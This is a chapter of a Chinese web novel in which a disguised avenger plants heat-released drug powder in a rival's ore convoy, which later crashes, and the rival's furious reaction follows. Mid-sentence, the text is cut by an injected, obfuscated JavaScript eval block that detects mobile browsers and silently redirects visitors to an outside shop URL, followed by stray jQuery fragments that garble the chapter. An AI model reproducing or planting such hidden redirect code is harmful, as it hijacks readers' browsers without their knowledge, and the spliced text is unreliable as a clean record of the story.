104.鹰栖明月(二)

作品:《留尘染情

    接下来的几日,照无还如同一个没有灵魂的躯壳般,在自己那方小院里“活”了过来。他不再呆坐,而是反复研读、背诵、乃至焚烧那份关于“黑玉坑”运输路线的密报,哪一个时间节点和哪一处隘口守卫的换班间隙,甚至运输头目的性格癖好,都烂熟于心。


    他利用故尘染留下的那个唯一一次联络暗桩的机会,没有索取武器或帮手,只是要了两样不起眼的东西。


    一小包特制的玩意,这个玩意遇热才会缓慢释放效力的迷香粉,以及几张盖着模糊旧印,足以以假乱真的矿监司例行巡检空白文书票引。暗桩那头的人似乎有些意外,但依旧沉默而高效地办妥了。


    第七日深夜,子时刚过。


    玉光城西六十里,崎岖山道。


    一支约三十人的车队正趁着夜色掩护,押送着十几辆满载粗砺原矿的马车,向着丽阳城方向疾行。甚至用了车轮包着厚草,马蹄裹着布,尽可能减少声响。


    为首的是冬自岁麾下心腹之一,绰号“秃驴”的霍海,此人悍勇贪婪,但对冬自岁极为忠心。


    队伍行至一处名曰鹰嘴涧的险要地段,两侧山崖陡峭,道路仅容两车并行。按照情报,此处前后哨卡换班有一刻钟的间隙。


    就在车队即将完全进入涧口时,前方道旁突然闪出两个穿着低级官吏服色,举着昏黄气死风灯的人,拦在了路中间。


    “站住!矿监司夜巡!前方车队,停下查验!”


    一人操着带着玉光城口音的官话,厉声喝道,虽努力挺直腰板,声音却有些发虚。


    霍海勒住马,眯起眼打量着这两个不速之客。


    灯光昏暗,看不清具体面貌,只觉身形单薄。


    他心中起疑,这深更半夜,荒山野岭,哪来的矿监司巡查?但对方手中的灯,身上的服饰,尤其是那枚在灯光下晃过的看似制式的腰牌,又让他有些拿不准。冬自岁虽然势大,但明面上对官府还是维持着几分客气,尤其是涉及矿产运输这种敏感事。


    “两位大人,”霍海驱马上前几步,皮笑肉不笑,“深夜辛苦。我等是丽阳城冬城主府上的采办,运送一批石料回去修缮府邸,这是通关文书。”


    他示意手下递上一份盖有冬自岁私印的文书。


    那“官吏”接过,就着灯光装模作样地看了看,语气也稍缓,摆摆手道:“哦,是冬城主的人。不过规矩就是规矩,夜行重车,又是这等险地,我等既撞见了,总要看看货,登记一下,也好向上头交代。”说着,就要往车队后面走。


    霍海眼神一冷,正要示意手下阻拦,另一名“官吏”却忽然凑近他,压低声音,飞快地说了一句:“霍爷,小的们也是奉命行事,混口饭吃。知道您是冬城主的心腹,绝不会为难。这样,您让兄弟们把车靠边停一停,容我们粗略看一眼,走个过场,绝不动您一块石头。这深山夜寒,我们怀里可还揣着壶好酒,待会儿查验完了,请霍爷和几位头儿暖暖身子,也算交个朋友?”


    这话说得圆滑,既给了对方面子,又暗示了“好处”。


    霍海瞥了一眼那“官吏”鼓囊囊的怀中,鼻尖似乎还真闻到一丝淡淡的酒气,再看他二人那副畏缩又透着点谄媚的模样,疑心去了大半。想来是矿监司里不得志想捞点外快的小吏。


    “哼,算你们识相。”霍海挥了挥手,“动作快点!老子还要赶路!”


    车队缓缓靠边停下,两名“官吏”提着灯,沿着车队粗略查看,嘴里念念有词,仿佛在登记。走到中间几辆覆盖得格外严实的马车旁时,其中一人佯装被石头绊了一下,惊呼一声,灯差点脱手,人朝车辕撞去。


    就在这混乱的瞬间,他袖中藏着的那小包特制迷香粉,借着袖袍和夜色的掩护,指尖微弹,准确地将少量粉末弹入了车轮轴承与车板不易察觉的几处缝隙中。


    那迷香粉需得剧烈摩擦生热才会缓慢挥发,此刻毫无异状。


    匆匆“查验”完毕,两名“官吏”点头哈腰地退开,果真从怀里掏出一个小酒壶,殷勤地递给霍海和旁边几个小头目。


    “一点心意,一点心意。”


    霍海不耐烦地摆摆手,示意手下收起,催促车队快行。


    他并未饮用那酒,心中那点警惕让他只是将酒壶揣入怀中。


    望着车队重新启动,迅速消失在鹰嘴涧另一头的黑暗里,两名“官吏”,或者说,易容改装后的照无还与他用最后一点值钱玉佩买通的一个亡命赌徒,这才缓缓直起身,抹去脸上伪装的尘灰与刻意佝偻的姿态。


    照无还的脸色在褪去伪装后,比月光更白,额角全是冷汗,刚才那一绊一弹,几乎耗尽了他恢复不多的力气和全部勇气。


    他的手在袖中微微颤抖,他身体近乎虚脱,却很喜欢这种夹杂着病态兴奋的感觉。


    他做到了。


    虽然只是第一步,虽然微不足道,虽然风险极大……但他不再是那个只能瘫在破庙等死,只会做着虚妄梦境的废物了。


    “走。”他低哑地对那赌徒说。


    两人迅速隐入道旁山林,朝着与车队相反的方向遁去。


    他并不知道,就在鹰嘴涧上方一处极隐蔽的岩石后,一道暗红的身影,将下方发生的一切尽收眼底。


    陆栖枳奉故尘染之命“留意”照无还的动向。


    本只是例行监视。她没想到,会看到这样一幕。


    那个在破庙里苍白脆弱、言语痴妄、被皇后骂得几乎魂飞魄散的男子,竟真的挣扎着爬了起来,用如此精细而冒险的方式,踏出了复仇的第一步。他没有选择硬拼,也没有哭诉求助,是用了对了脑子,用了对玉光城规则和人心贪婪的了解,用了那点微薄得几乎可笑的资源。


    伪装,谎言,精准的时机把握,对头目心理的揣摩,以及……那巧妙掩藏的暗手。每一步都踩在刀尖上,可,偏偏被他走成了。


    陆栖枳静静地看着那消瘦的身影消失在林间,按在剑柄上的手缓缓松开。她眼中惯常的冷冽审视,微微松动,泛起一丝丝波澜。


    也许……皇后说的没错。


    这枚“废棋”,或许,真的还能磨出一点不一样的锋芒。只是这锋芒,浸满了恨意与孤注一掷的疯狂,最终会指向何方呢?


    她抬起头,望向车队消失的方向,不紧不慢地拍拍衣袖。


    那掺入车轮的粉末,此刻应当随着高速行进的摩擦,开始悄然挥发热意了吧?算算路程和速度,距离下一处适合埋伏的险地还有大半个时辰。


    好戏,或许才刚刚开场。而那布局之人,正在皇家别院之中,冷静地等待着第一个回音。


    落魂坡的乱子,在天亮前最黑暗的时刻,传回了玉光城。


    消息并非来自冬自岁自己的人,而是附近山村早起的樵夫,那会,被冲下坡道的马车残骸和隐约的血腥味惊动,报到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17072927|177674||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里正那里,一层层才传到官府,或者说,传到如今已被故尘染暗中掌控的城主府新主事手中。


    待到消息辗转到岁安府时,天色已是大亮。


    “混账!”


    镇纸被狠狠掼在地上,应声碎裂,破碎的玉屑擦过跪地禀报的邢厉脸颊,留下一道细小的血痕。


    邢厉伏得更低,不敢言语。


    冬自岁只披着一件墨绿色丝质寝衣,衣带未系,露出大片精悍胸膛,他赤足踩在地板上来回踱了几步。


    “霍海呢?那些货呢?”他咬牙切齿地问。


    “霍统领……重伤,昏迷不醒,是被早起路过的行商发现的,同行的二十七名护卫,死九人,重伤十一人,余者皆带伤。马车……翻覆了六辆,其中三辆装着黑玉的……矿石滚落山涧,损毁严重,难以回收。其余车辆也有不同程度损坏。”


    邢厉的声音干涩,每说一句,都感觉头顶的目光又冷厉一分。


    “怎么翻的!”冬自岁猛地转身,“落魂坡那条路走了不下百趟!那霍海是吃干饭的?!”


    “据、据幸存者说,行至坡中最险处,拉车驮马突然毫无征兆地发狂,力大无穷,挣脱了缰绳,互相冲撞踩踏……紧接着,车轴断裂,像是……像是被什么东西同时腐蚀了关节,好几辆车就……就那样翻了。当时一片混乱,又有冷箭从两侧山坡射来,箭上涂了麻药,弟兄们反应不及……”


    “冷箭?麻药?”冬自岁眼睛眯成一条危险的细缝,冷喝道,“查!给老子彻查!是什么人干的?!是赵家?李家?还是……王家那帮吃里扒外的老东西?!”


    “属下已派人去查,但现场被人群混乱破坏得很厉害,箭矢是市面上最普通的制式,追查不易。至于马匹发狂和车轴断裂……”邢厉迟疑了一下,犹犹豫豫,继续说道,“有弟兄回忆,昨夜在鹰嘴涧曾遇到矿监司巡查,耽搁了片刻,但当时并未异常。事后想想……”


    “矿监司?”冬自岁像是听到了什么极其荒谬的事情,不可置信地一笑道,“什么时候矿监司的狗,敢半夜跑到鹰嘴涧去巡查?还偏偏是老子的车队经过的时候?嗯?!”


    他猛地俯身,一把揪住邢厉的前襟,几乎将他提离地面,妖魅的脸上满是狰狞。


    “去查!把矿监司从上到下给老子翻个底朝天!看看是哪个不长眼的,敢在太岁头上动土!还有,昨夜那两个巡查,掘地三尺也要给我找出来!活要见人,死要见尸!”


    “是!是!”邢厉连声应道。


    冬自岁松开手,任由邢厉跌坐在地,自己则烦躁地在华丽却压抑的厅堂内踱步。


    清晨的阳光透过五彩琉璃窗格投进来,在他身上切割出明暗交错的光影,让他此刻的神色看起来更加变幻不定,如同潜伏在光影交界处的毒蛇。


    不是赵李王三家。那三家虽然内斗得厉害,但还没这个胆子,也没这份精细的手段同时算计马匹,车轴和人心。


    矿监司?


    那群尸位素餐的蠹虫,谁给他们这么大的胆子?除非……背后有人。


    一个名字,如同阴冷的毒蛇,缓缓滑入他的脑海。


    照无还。


    那个废物?他有这个本事?还是说……他找到了新的靠山?皇家别院那位?


    冬自岁的脚步蓦然停住。


    皇后……


    陆栖枳……


    他舔了舔后槽牙。